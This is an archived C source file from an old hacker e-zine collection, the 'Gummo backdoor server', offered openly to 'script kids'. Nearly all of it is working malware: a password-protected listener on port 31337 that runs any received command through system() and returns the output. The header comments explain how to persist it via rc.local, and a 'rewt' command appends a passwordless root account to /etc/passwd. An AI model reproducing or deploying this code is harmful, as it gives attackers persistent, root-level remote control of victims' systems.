home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / b4b0 / b4b0-06 / server.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  3.8 KB  |  175 lines

  1.   /*
  2.   /* Gummo backdoor server.
  3.   /* compile: cc server.c -o server
  4.   /* usage: ./server &
  5.   /* echo /tmp/server & >> /etc/rc.d/rc.local
  6.   /* so it's always executed after system reboots.
  7.   /* Assuming server is in /tmp
  8.   /* Have fun script kids, ph1x.  
  9.   /* <phixation@hotmail.com> 
  10.    */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <errno.h>
  15. #include <string.h>
  16. #include <sys/types.h>
  17. #include <netinet/in.h>
  18. #include <sys/socket.h>
  19. #include <sys/wait.h>
  20. #include <unistd.h>
  21.  
  22.  
  23. #define PORT 31337
  24. #define BACKLOG 5
  25. #define CMD_LOG "/tmp/.cmd"
  26. #define PASSWORD "password"
  27.  
  28. /* global */
  29. int newfd;
  30.  
  31. void command ();
  32.  
  33. void 
  34. main ()
  35. {
  36.  
  37.   int sockfd, sin_size, ss, len, bytes;
  38.  
  39.   struct sockaddr_in my_addr;
  40.   struct sockaddr_in their_addr;
  41.  
  42.   char passwd[1024];
  43.   char *prompt = "Password: ";
  44.   char *gp;
  45.  
  46.   if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
  47.     {
  48.       perror ("socket");
  49.       exit (1);
  50.     }
  51.   my_addr.sin_family = AF_INET;
  52.   my_addr.sin_port = htons (PORT);
  53.   my_addr.sin_addr.s_addr = INADDR_ANY;
  54.   bzero (&(my_addr.sin_zero), 8);
  55.  
  56.   if (bind (sockfd, (struct sockaddr *) &my_addr, sizeof (struct sockaddr)) \
  57.       == -1)
  58.     {
  59.       perror ("bind");
  60.       exit (1);
  61.     }
  62.   if (listen (sockfd, BACKLOG) == -1)
  63.     {
  64.       perror ("listen");
  65.       exit (1);
  66.     }
  67.   while (1)
  68.     {
  69.       ss = sizeof (struct sockaddr_in);
  70.       if ((newfd = accept (sockfd, (struct sockaddr *) &their_addr, \
  71.                &sin_size)) == -1)
  72.     {
  73.       perror ("accept");
  74.       exit (1);
  75.     }
  76.       if (fork ())
  77.     {
  78.       len = strlen (prompt);
  79.       bytes = send (newfd, prompt, len, 0);
  80.       recv (newfd, passwd, 1024, 0);
  81.  
  82.       if ((gp = strchr (passwd, 13)) != NULL)
  83.         *(gp) = '\0';
  84.  
  85.       if (!strcmp (passwd, PASSWORD))
  86.         {
  87.           send (newfd, "Access Granted, HEH\n", 21, 0);
  88.           send (newfd, "\n\n\n\n\n\nWelcome To Gummo Backdoor Server!\n\n", 41, 0);
  89.           send (newfd, "Type 'HELP' for a list of commands\n\n", 36, 0);
  90.           command ();
  91.         }
  92.       else if (passwd != PASSWORD)
  93.         {
  94.           send (newfd, "Authentification Failed! =/\n", 29, 0);
  95.           close (newfd);
  96.         }
  97.     }
  98.     }
  99. }     /* command() will process all the commands sent */
  100.     /* and send back the output of them to your client */
  101.  
  102. void 
  103. command ()
  104. {
  105.  
  106.   FILE *read;
  107.   FILE *append;
  108.   char cmd_dat[1024];
  109.   char *cmd_relay;
  110.   char *clean_log;
  111.   char buf[5000];
  112.  
  113.   int dxm;
  114.  
  115.   while (1)
  116.     {
  117.  
  118.       send (newfd, "command:~# ", 11, 0);
  119.       recv (newfd, cmd_dat, 1024, 0);
  120.       cmd_dat[strlen (cmd_dat) - 2] = '\0';
  121.       if (strcmp (cmd_dat, ""))
  122.     {
  123.  
  124.       if ((strstr (cmd_dat, "HELP")) == cmd_dat)
  125.         {
  126.           send (newfd, "\n\n-=Help Menu=-\n", 16, 0);
  127.           send (newfd, "\nquit - to exit gummo backdoor\n", 31, 0);
  128.           send (newfd, "rewt - automatically creates non passworded accnt 'rewt' uid0\n", 63, 0);
  129.           send (newfd, "wipeout - this feature rm -rf /'s a box. Inspired by dethcraze\n", 64, 0);
  130.         }
  131.       if ((strstr (cmd_dat, "quit")) == cmd_dat)
  132.         {
  133.           close (newfd);
  134.         }
  135.       if ((strstr (cmd_dat, "rewt")) == cmd_dat)
  136.         {
  137.           system ("echo rewt::0:0::/:/bin/sh>>/etc/passwd;");
  138.           send (newfd, "User 'rewt' added!\n", 19, 0);
  139.         }
  140.       if ((strstr (cmd_dat, "wipeout")) == cmd_dat)
  141.         {
  142.           send (newfd, "Your a dumb fuck for trying to use this command, HEH!\n", 54, 0);
  143.           close(newfd);
  144.                exit(0);
  145.         }
  146.     
  147.           else
  148.         append = fopen (CMD_LOG, "w");
  149.       fprintf (append, "dextro\n");
  150.       fclose (append);
  151.  
  152.  
  153.       clean_log = (char *) malloc (420);
  154.       sprintf (clean_log, "rm %s", CMD_LOG);
  155.       system (clean_log);
  156.  
  157.       cmd_relay = (char *) malloc (1024);
  158.       snprintf (cmd_relay, 1024, "%s > %s;\0", cmd_dat, CMD_LOG);
  159.       system (cmd_relay);
  160.  
  161.       if ((read = fopen (CMD_LOG, "r")) == NULL)
  162.         continue;
  163.       while (!(feof (read)))
  164.         {
  165.           memset (buf, 0, 500);
  166.           fgets (buf, 500, read);
  167.           if (buf[0] == 0)
  168.         break;
  169.           write (newfd, buf, 500);
  170.         }
  171.       fclose (read);
  172.     }
  173.     }
  174. }
  175.